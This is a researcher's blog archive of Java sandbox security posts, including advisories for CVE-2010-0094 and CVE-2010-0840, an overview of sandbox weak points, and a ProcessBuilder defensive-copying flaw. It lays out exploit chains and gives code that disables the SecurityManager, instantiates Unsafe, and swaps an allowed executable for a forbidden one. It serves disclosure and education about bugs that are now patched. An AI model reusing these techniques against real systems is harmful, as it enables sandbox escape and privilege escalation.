Showing posts with label java security. Show all posts
Showing posts with label java security. Show all posts

Wednesday, April 14, 2010

Java RMIConnectionImpl Deserialization Privilige Escalation (ZDI-10-051/CVE-2010-0094)

Relevant Identifiers:
ZDI-10-051, CVE-2010-0094


Impact:
Privilege escalation of the Java security sandbox. The most obvious target is the Java Runtime running Java Applets, JavaFX and Java Web Start applications in a web browser. Untrusted code will gain full privileges of the user executing the browser process.


Oracle Java Patch:
http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html


Steps to remedy:
Update to Java 6 update 19


Details:
Deserialization of untrusted data from a privileged context has been established as a security vulnerability (Sami Koivu, Julien Tinnes, securecoding.cert.org).

javax.management.remote.rmi.RMIConnectionImpl does privileged deserialization of objects from user supplied data.

More specifically;

-The public createMBean method calls the private unwrap method
-The unwrap method has a doPrivileged block which calls the get method of a java.rmi.MarshalledObject instance
-The get method deserializes an object from an internal byte array
-The byte array can be made to contain a serialized custom ClassLoader (ClassLoader subclass)
-The custom ClassLoader can create classes with full privileges

As with CVE-2008-5353, the trick is that ClassLoader is not Serializable, but the subclass can be made Serializable and in the deserialization process, the first non-serializable superclass constructor is called with the security context of the code doing the deserialization. Even though the subclass is untrusted, the context is privileged, so the security checks of the ClassLoader constructor are passed. Immediately after the deserialization, a ClassCastException is thrown because the code assumes the read object to be an Object array, but this is irrelevant, because an instance to the ClassLoader can be obtained during the deserialization process, by defining a readObject method.

A Brief History of Privileged Deserialization:
August, 2008:
The first known instance of Privileged Deserialization was found in the Calendar class.

December, 2008:
Java 6 update 11 fixes the Calendar Deserialization vulnerability.

March, 2009:
Java 6 update 13 fixes a Privileged Deserialization issue that is not attributed to anyone:

CR 6646860: A security vulnerability in the Java Plug-in with deserializing applets may allow an untrusted applet to escalate privileges. For example, an untrusted applet may grant itself permissions to read and write local files or execute local applications that are accessible to the user running the untrusted applet.
This had to do with a little used option in the APPLET tag. The object parameter can be used to specify a serialized (saved) representation of the applet. Turns out this deserialization used to take place in a privileged context prior to Java 6 update 13.

March, 2010:
Java 6 update 19 fixes a Privileged Deserialization issue in RMIConnectionImpl

The Fix:
The RMIConnectionImpl class was altered to leave the deserialization outside of the privileged block. Only setting current context classloader is done in a privileged block. This eliminates this particular privileged deserialization instance.

Thursday, April 08, 2010

Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056)

Relevant Identifiers:
ZDI-10-056, CVE-2010-0840


Impact:
Privilege escalation of the Java security sandbox. The most obvious target would be the Java Runtime running Java Applets, JavaFX and Java Web Start applications in a web browser. Untrusted code will gain full privileges of the user executing the browser process.


Oracle Java Patch:
http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html


Steps to remedy:
Update to Java 6 update 19


Details:
Java code originating from the Java core classes in the JRE/lib directory is considered trusted.

Java code originating from an unsigned Java applet is considered untrusted.

When Java evaluates privileges for any given operation, it considers the whole method call stack.

For each item on the stack, the privileges of the class that defined the method in question are considered. Thus, if class Foo defines method call() and class Bar is a subclass of Foo, and an instance of Bar is on the stack, and the method is call(), the privileges of Foo, not Bar, are considered.

It is possible to implement interface methods with methods inherited from a superclass; For example, if interface CacheItem has void method delete() and class Folder, which implements no interfaces, has a method with a compatible signature, it is possible to create a concrete class FolderPosingAsACacheItem which extends the Folder class, and implements the CacheItem (with the inherited method) without defining any methods of its own.

There are hundreds (thousands?) of trusted classes in the Java core that call methods on objects which can be defined by untrusted code either directly, via sub-classing or via deserialization.

These methods can be arranged in such a way that a trusted thread (such as one of the event threads) may be chained into calling method A which calls method B which calls method C ... which calls method Z. As only trusted code will be on the calling stack, the privileged context of the trusted thread is maintained. If one finds a method Z that does something interesting, such as a parameterizable method invocation via reflection, that invocation will take place in a privileged context.

This is very bad because it means that security relies that there not exist harmful combinations of methods signatures; something that is not feasible to control, as opposed to the very controlled model of having a number of doPrivileged blocks which are known to be dangerous, but relatively easy to control.

ZDI-10-056/CVE-2010-0840 leverages this by creating a trusted chain as follows:

- instantiate a vuln.Link (subclass of java.beans.Expression) pointing the invoke params to class: java.lang.System, method setSecurityManager, args: null
- instantiate a new java.util.HashSet and put the vuln.Link (which is also a Map.Entry) in the Set
- instantiate an anonymous subclass of HashMap where the entrySet method returns the instance defined above
- instantiate a javax.swing.JList object, passing the HashMap instance defined above as the list contents
- add the JList on any visible component (such as the applet itself)

And here's what happens when the digital Rube Goldberg machine is set into motion:

- the GUI thread wants to draw the JList and calls JList.paint(Graphics)
- JList while drawing itself, calls toString on the list contents, including said anonymous subclass of HashMap
- HashMap inherits AbstractMap's toString method which calls entrySet().iterator() and iterates the resulting Set, calling getValue on each Entry
- one of the Entry objects returned by the implementation is a subclass of Statement, which implements the Entry interface's getValue() method with the Statement.getValue()
- Expression.getValue() calls Statement.invoke()
- Statement.invoke() has been parametrized to call System.setSecurityManager(null) via reflection

...and Java security gets switched off.

Safety First:
The vuln.Link class cannot be created with a normal Java compiler. Hopefully that'll keep the virus writers at bay, while the details enlighten the security community.

The Fix:
Based on my very brief analysis, Java 6 update fixes this problem by altering the Statement.invoke() to use the AccessControlContext captured at the moment of instantiation when it uses the reflection.

Saturday, February 27, 2010

Java SE Security - Part III (Keys)

This part is titled "Keys". The intention is to list the key items that must remain elusive to the attacker in order for the JVM to remain unharmed. Compromising any of these will probably give the attacker full privileges. I'll also show, at least in theory, how each of them could be used for this.

The Security Manager


The Security Manager is at the very core of the Java Security Model. It essentially decides whether any given operation is allowed or not. While the JVM is running, the "current" or "installed" Security Manager is defined by the static java.lang.System.security field. The type of the field is java.lang.SecurityManager which is a concrete, non-final class, so the SecurityManager is either an instance of that class, or a subclass. A null value in the field is interpreted as security being turned off, thus: if that field can be set to null, security will be turned off.

The field is private, though, so one can’t just waltz in and try to set it to null.

There's a public static method for defining a new Security Manager:
System.setSecurityManager(SecurityManager)
If that method is called with a null parameter, the underlying field will be set to null and security will be turned off. In order for that call to succeed though, the current Security Manager is consulted to see if the caller has the setSecurityManager RunTime permission. Thus, possessing the setSecurityManager permission effectively gives code full privileges.

It would not be necessary to set a null SecurityManager to defy security. If the attacker can define his own SecurityManager and set it as the current SecurityManager, he can allow all operations and elevate his privileges. Aside from accessing the System class, a Security Manager class can be defined with the JVM startup argument
-Djava.security.manager=EvilUnsecureManager

Also, compromising the (class) definition of the SecurityManager class or that of any of its subclasses would probably give the attacker full control. More about compromising class definitions in a later item.

ClassLoader

The ClassLoader is responsible for loading class definitions. It also ultimately controls the privileges of each class that's being loaded. The ClassLoader.defineClass(...) methods have the access modifier protected, so only subclasses can access them. If you can create a valid subclass of the ClassLoader, you can call the protected methods and define classes with full privileges. This is essentially how CVE-2008-5353 leverages the privileged deserialization.
An example of how to define a new class with full privileges when you have access to the defineClass method:

byte[] evilBytecode = …
AllPermission allPerm = new AllPermission();
PermissionCollection allPermissions = allPerm.newPermissionCollection();
allPermissions.add(allPerm);
Class cls = defineClass(null, evilBytecode, 0,
evilBytecode.length, new ProtectionDomain(null, allPermissions));
cls.newInstance();

Java access modifiers

The Java access modifiers (private/protected/"default"/public) for classes, fields and methods are probably the one single most important thing keeping the whole security together. I've personally used protected and default very little in code I've written for any normal project. However, the security architecture heavily relies on them.

A lot of things are kept inaccessible for an attacker by marking methods, fields and classes with the default access modifier. It means that only the classes from the same package can access those items. Same package here refers to same package within the same classloader. Thus, it doesn't aid the attacker to define his applet class to be in the same package as some trusted Sun class, because the packages are classloader specific - if your class in package abc was defined in a different classloader than another class in package abc, it is effectively in a different package as far as access control goes.

If the attacker gained access to private members, it would be possible to set null to java.lang.System.security and disable Java security.

If the attacker gained access to protected members, it would be possible to call defineClass on the default applet ClassLoader and define classes with full privileges.

If the attacker gained access to default members, there'd be a lot of members in any number of classes that could be accessed to gain full privileges. There are almost 40 different versions of a package-private class SecuritySupport (or SecuritySupport12) that does privileged file reading, property access, URL access and so on.

Reflection may be used to circumvent some of the access control restrictions. More about reflection in its own item.

The final keyword

As I discussed in a previous post, "final" has very distinct functions when used in conjunction with classes, methods and fields.

If the final modifier of a class could be overridden, in other words, if the attacker managed to subclass a final class, he might subclass java.lang.String and create his own mutable Strings. More about String immutability in its own item.

Overriding final methods and modifying the value of final field could also possibly be abused, but I have no concrete examples of those cases.

Type system integrity

Yet another crucial part of the security architecture is the Java type system integrity. If the attacker can pass his own Foo class where a String class is expected he can probably create the effect of mutable Strings.

Or reversely, if the attacker is able to put a Java system class in a variable whose type is Bar (a user controlled class), he can probably gain access to private members.

Reflection

Java Reflection API gives dynamic access to classes, fields and methods. If one is able to call setAccessible(true) on Field and Method objects, Java access control can be somewhat bypassed. If you call setAccessible(true) on an otherwise inaccessible field or method (private/protected/default) you gain access to it. Example:

Field security = System.class.getDeclaredField("security");
security.setAccessible(true);
security.set(null, null);

However, many of the Reflection API calls require privileges and if a Security Manager is installed the attacker won't get far. To successfully run the above example, one would need to possess the accessDeclaredMembers and suppressAccessChecks privileges.

If the attacker succeeds in obtaining a Field object for java.lang.System.security and calling setAccessible(true) on it, he can turn off Java security by calling field.set(null, null).

Privileged Deserialization

Privileged Deserialization can be leveraged by the attacker in (possibly) many ways, probably the simplest being the creation of a custom Serializable ClassLoader which can then be used to define classes with full privileges. This was at the core of CVE-2008-5353.

A privileged block which does deserialization from a stream which can be manipulated by the attacker can probably be leveraged in other ways, too, since the serialization/deserialization protocol is quite complex and flexible.

SecurityManager protected packages (sun., com.sun.deploy., etc)

These packages have a more relaxed security. The security manager and applet ClassLoader do not allow applets to access these packages directly. If the attacker was able to access them, there'd probably be several ways to leverage it. It seems to me that currently it is not allowed to reference the following packages:
com.sun.deploy.*
com.sun.imageio.*
com.sun.javaws.*
com.sun.jnlp.*
com.sun.xml.internal.bind.*
com.sun.xml.internal.ws.*
sun.*

System Properties

The System Properties (System.getProperties()) contain a lot of influential stuff. If an attacker was able to manipulate the System Properties he could probably elevate his privileges.

System.getProperties(), despite of the name which suggest read access, returns a reference to the internal Properties object, so any modification to this object will alter the system properties.

Read access to the properties has the implication of privacy. The attacker can find out the logged on username and several system paths:
java.class.path = C:\PROGRAM~1\Java\jre6\classes
java.endorsed.dirs = C:\Program Files\Java\jre6\lib\endorsed
java.ext.dirs = C:\Program Files\Java\jre6\lib\ext;C:\WINDOWS\Sun\Java\lib\ext
java.home = C:\Program Files\Java\jre6
java.io.tmpdir = C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\
java.library.path = ...
sun.boot.library.path = C:\Program Files\Java\jre6\bin
user.dir = …
user.home = C:\Documents and Settings\Administrator
user.name = Administrator

There are known cases where for example being able to alter the java.ext.dirs lead to a vulnerability. I imagine this type of an attack only works if you can provide the property at JVM startup.

sun.misc.Unsafe

Unsafe is in a sun. package and therefore inaccessible to applets. It also has a private constructor, and the singleton getter method checks that the caller's classloader is null (system class) before handing out the object, so one could say it is very well guarded. And for a reason, since it truly is the Chuck Norris of Java classes.

Unsafe allows direct access to fields and memory. It allows, for example, for you to put an int value into an object field. No security checks and no access control takes place when using Unsafe. So it would be trivial to leverage Unsafe for privilege escalation. I’ll leave the how as a mental exercise for the reader.

Field usf = Unsafe.class.getDeclaredField("theUnsafe");
usf.setAccessible(true);
Unsafe unsafe = (Unsafe) usf.get(null);

Field stringChars = String.class.getDeclaredField("value");
long offset = unsafe.objectFieldOffset(stringChars);
String test = "test";
char[] value = (char[]) unsafe.getObject(test, offset);
value[2] = 'n';
System.out.println(test);


String immutability

String immutability is the basis for many operations. String objects contain a private char array that normally cannot be accessed. Should the attacker be able to access the char array and modify String objects, a lot of things could be broken, probably the security, too.

There is no defensive programming in the core classes against mutable Strings, and for a reason; it’d require a lot of code. A mutable String could thus be used in a timing attack, having a set of contents for verification and another set of contents for the actual operation. String instances are also pooled and reused, so the attacker could probably put his instance on the pool and have it be reused by code that’s inaccessible to him.

doPrivileged

If the attacker can control a trusted doPrivileged block, or code called by it, through means of controlling input, accessed fields, overriding methods, subclassing, deserialization and classloading, etc, the attacker may be able to elevate his privileges.

(Re)defining core classes

If the attacker can compromise the class definitions of not just the most obvious classes (System, ClassLoader, SecurityManager), but any number of menial classes that participate in privileged blocks of code, the attacker could easily elevate his privileges. I'm currently working on a twist of this type of an attack which should lead to a privilege escalation.

Key Permissions

Every class has a set of permissions associated with it. The permissions depend on where the code comes from (CodeSource) and what the java.security defines as the permissions for that source. There are several permissions that, if an attacker can obtain them for his code, will (probably) lead to privilege escalation:

AllPermission: The permission to do anything.

setSecurityManager
: The permission to define a new security manager, set the security manager to null and all code has full permissions.

charsetProvider: Allows for creating mutable strings.

accessDeclaredMembers & suppressAccessChecks: With the combination of these two permissions, you can obtain any field or method, make it accessible and access it (call method, read/write field value). The most straightforward way to leverage this would be to set a null security manager.

Sunday, January 24, 2010

2009 In Review

A little late, but nevertheless, a summary of what happened in security relating to me in 2009:

CVE-2008-5353

In other words, the Calendar Deserialization issue. It was fixed by Sun Microsystems in 2008, but it still got a lot of attention in 2009:

In March, Julien Tinnes used his exploit of it in the CanSecWest Pwn2own competition, only to be disqualified, because we both had tipped Sun and Apple about the issue.

In May, Julien wrote an excellent bit on the vulnerability on his blog and also about the fact that Apple still hasn't fixed it. Landon Fuller also posted a proof-of-concept implementation of the exploit in an attempt to get Apple's attention to it. All this created quite the buzz, and a lot of articles were written on the topic. My personal favorite was this funny arcticle by Angela Gunn on betanews.com.

In mid-June, Apple released a security update for it's Java that fixed the issue in OSX.

In July, it was nominated for The Best Client-Side Bug Pwnie (didn't unfortunately win, though).

Still at the end of the year, it gained attention because of various exploit kits using it as a vector to infect people who hadn't updated their Java.


JDKServices13

CVE-2009-2670 was fixed by Sun Microsystems in August, as a part of Java SE 6 Update 15. It's a cute little vulnerability which allows read access to Java System properties and one of the first one's ever found by me.

Zero Day Initiative

I started collaborating with ZDI in 2009 and it's been extremely satisfactory so far. Some of the fruits of this cooperation can be observed in the upcoming advisories section of their site:
ZDI-CAN-552, ZDI-CAN-603, ZDI-CAN-588, ZDI-CAN-623, ZDI-CAN-628, ZDI-CAN-667

iDefense

I was going to look into working with VeriSign's iDefense program as well, but the link for the zip with additional information on their new user page has been pointing to a 404 since at least september. I tried emailing them in mid-september, but finally gave up.

Saturday, December 19, 2009

FilePermission class leaks sensitive information

Somebody might consider it ironic that the security class which is responsible mapping access permission to files (java.io.FilePermission) is actually leaking information about the filesystem.

FilePermission uses a doPrivileged block to obtain a canonical path to the file/folder given as a parameter to the constructor. The canonical path is then stored in a private and transient field (called cpath) which has no accessor method.

The canonical path is security-sensitive, because if you give it the input of "." it will become the full (canonical) path to the current execution directory.

Also, in windows, if I give it a path, such as "c:\windows" it becomes "C:\WINDOWS" on my machine, as both the drive letter and windows folder are uppercase. If I give it a path that does not exist, such as "C:\whatever" it does not get altered. Thus I can test the existence of files and folders.

The cpath is not directly accessible, but the FilePermission class has a hashCode method, and the implementation is:

384  public int hashCode() {
385     return this.cpath.hashCode();
386  }


So the hashcode of the String of the canonical path is available. I looked into the possibility of reversing the string hash, but it's not really practical. The simple algorith (which is explained here) is easy to reverse, but as it's extremely lossy, the number of strings that have any given hash is very big.

File or folder existence on Windows can be easily tested by giving a toLowerCase and toUpperCase versions of any path to FilePermission and then comparing the hashcodes. If the hashcodes are equal, the file/folder exists, if they're unequal, it doesn't exist.

For example, on my machine, the following:

001 import java.io.FilePermission;
002 
003 public class FP {
004     public static void main(String[] args) throws Exception {
005         System.out.println(fileExists("C:/windows"));
006         System.out.println(fileExists("C:/filedoesnotexist"));
007     }
008     
009     static boolean fileExists(String name) {
010         return new FilePermission(name.toLowerCase(), "read").hashCode() == new FilePermission(name.toUpperCase(), "read").hashCode();
011     }
012 }


Yields the output:
true
false

In similar fashion, you could compare the hashes of FilePermissions for ".", "..", "../..", "../../.." until the hashcode stops changing, which means you've hit the root (Drive-Letter:\ on windows or / on linux/unix/etc). The depth of the execution folder can thus be determined and it is possible to try to guess each of the folders of the path individually.

It's not a very serious problem at all, but it's one I found to be amusing both for the simplicity of it and the fact that it's in the very class that is used to map access to files.

Saturday, December 12, 2009

Defensive Copying - How not to do it

Defensive Copying

Sun Secure Coding Guidelines talks about defensive copying of input and output, to protect against modifications that occur after validation.

Let's look at one Sun implementation (from the java.lang package, no less) as an example of how not to do it.

ProcessBuilder

java.lang.ProcessBuilder, as the javadoc puts it, "is used to create operating system processes". You give it a process name, parameters, environment variables and call the start method to execute the process.

The start method is defined as follows:
(EDIT: Fixed syntax highlighter glitch from line 449)
435  public Process start() throws IOException {
436     
// Must convert to array first -- a malicious user-supplied
437     // list might try to circumvent the security check.
438     String[] cmdarray = command.toArray(new String[command.size()]);
439     
for (String arg : cmdarray)
440     
if (arg == null)
441         
throw new NullPointerException();
442     
// Throws IndexOutOfBoundsException if command is empty
443     String prog = cmdarray[0];
444 
445     SecurityManager security = System.getSecurityManager();
446     
if (security != null)
447      security.checkExec(prog);
448 
449     String dir = directory ==
null ? null : directory.toString();
450 
451     try {
452     
return ProcessImpl.start(cmdarray,
453                  environment,
454                  dir,
455                  redirectErrorStream);
456     }
catch (IOException e) {
457     
// It's much easier for us to create a high-quality error
458      // message than the low-level C code which found the problem.
459      throw new IOException(
460         
"Cannot run program \"" + prog + "\""
461         
+ (dir == null
462         +
": " + e.getMessage(),
463         e);
464     }
465  }


The interesting bit is this:

436     // Must convert to array first -- a malicious user-supplied
437     // list might try to circumvent the security check.
438     String[] cmdarray = command.toArray(new String[command.size()]);

At first glance it might seem like the work of a security conscious programmer.

But quoting fictional Bob, from my previous post on immutability:

Bob: Now you're calling toArray() on a List object that you can't really trust. It could return an array and keep a reference to that array for itself for future modification.

And that's exactly the case here, too. One doesn't even need to get into a tricky situation where a secondary thread keeps modifying the contents of the array; you can simply take advantage of the fact that between the validation on the array and the actual use of the array there's a call to another user supplied object, a File object in the directory field.

So you could initially pass a "safe.exe" as the program, pass the validation of ProcessBuilder.start, and when the code calls File.toString on the File object that's under your control, you set the first index of the String array as "evil.exe".

Example

Let's create a fictional situation, where the security policy allows the execution of C:/windows/system32/notepad.exe and disallows the execution of any other executable. We achieve this by creating a policy file as follows (name it notepad.policy for example):

grant {
permission java.io.FilePermission "C:/windows/system32/notepad.exe", "execute";
};


To enable a security manager for a standalone Java application and to use this policy we just created, always execute java with the following JVM options:
-Djava.security.manager -Djava.security.policy=notepad.policy

In order to test it, try executing calc.exe:
001 
002 
003 public class PBCalc {
004     
public static void main(String[] args) throws Exception {
005         ProcessBuilder pb =
new ProcessBuilder("C:/windows/system32/calc.exe");
006         pb.start();
007     }
008 }


If the security manager and our policy have been successfully configured that should result in:

Exception in thread "main" java.security.AccessControlException: access denied (java.io.FilePermission C:/windows/system32/calc.exe execute)
at java.security.AccessControlContext.checkPermission(AccessControlContext.java:323)
at java.security.AccessController.checkPermission(AccessController.java:546)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:532)
at java.lang.SecurityManager.checkExec(SecurityManager.java:779)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:447)
at PBCalc.main(PBCalc.java:6)


Executing notepad.exe should work ok:
001 
002 
003 public class PBNotepad {
004     
public static void main(String[] args) throws Exception {
005         ProcessBuilder pb =
new ProcessBuilder("C:/windows/system32/notepad.exe");
006         pb.start();
007     }
008 }


And finally, an example of the exploitation of the naive defensive copying. We create a List object whose toArray method returns a reference to a String array while keeping a handle to said String array. Initially the String array has notepad.exe as the executed process, but once we pass the validation and ProcessBuilder calls toString of our (anonymous subclass of) File object toString method, we switch the executable as calc.exe.

001 import java.io.File;
002 
import java.util.ArrayList;
003 
import java.util.List;
004 
005 
public class PBMutable {
006     
public static void main(String[] args) throws Exception {
007         
final String[] str = {"C:/windows/system32/notepad.exe"};
008         List list =
new ArrayList() {
009             
public Object[] toArray(Object[] a) {
010                 
return str;
011             }
012         };
013         
014         ProcessBuilder pb =
new ProcessBuilder(list);
015         pb.directory(
new File(".") {
016             
public String toString() {
017                 str[0] =
"calc.exe";
018                 
return super.toString();
019             }
020         });
021 
022         pb.start();
023     }
024 }


Finally

This isn't really usable in the applet sandbox world, as unsigned applets by default don't have any execution rights, but you should be aware that because of the naive defensive copying, granting any file execute permission you'll be granting the permission to execute anything at all.

Tuesday, November 03, 2009

Protection Against Finalizer attack

Java 6 update 17 is out.

Looks like Sun 1up'd the ClassLoader class's protection against the Finalizer Attack.

For more information on the finalizer attack: Sun Secure Coding Guidelines v2.0 Chapter 4-2

The old ClassLoader implementation used the tactic described in the secure coding guidelines. It allows the attacker to create an instance of the class, which is not fully initialized. However a boolean flag field renders the object unusable, as all significant operations check the flag.

Apparently that's not good enough anymore.

The new version of the ClassLoader has a protect constructor (actually 2, but let's look at the one that corresponds to the one in the secure coding guidelines):

225  protected ClassLoader() {
226    this(checkCreateClassLoader(), getSystemClassLoader());
227  }

Which calls the static method checkCreateClassLoader:

175  private static Void checkCreateClassLoader() {
176    SecurityManager security = System.getSecurityManager();
177    if(security != null) {
178      security.checkCreateClassLoader();
179    }
180    return null;
181  }

So if the SecurityManager doesn't allow a SecurityException gets thrown even before the superclass (Object) constructor is called, and thus there will be no object reference to "steal" in the finalizer.

Interesting. Wonder if they'll update the Secure Coding Guidelines as well.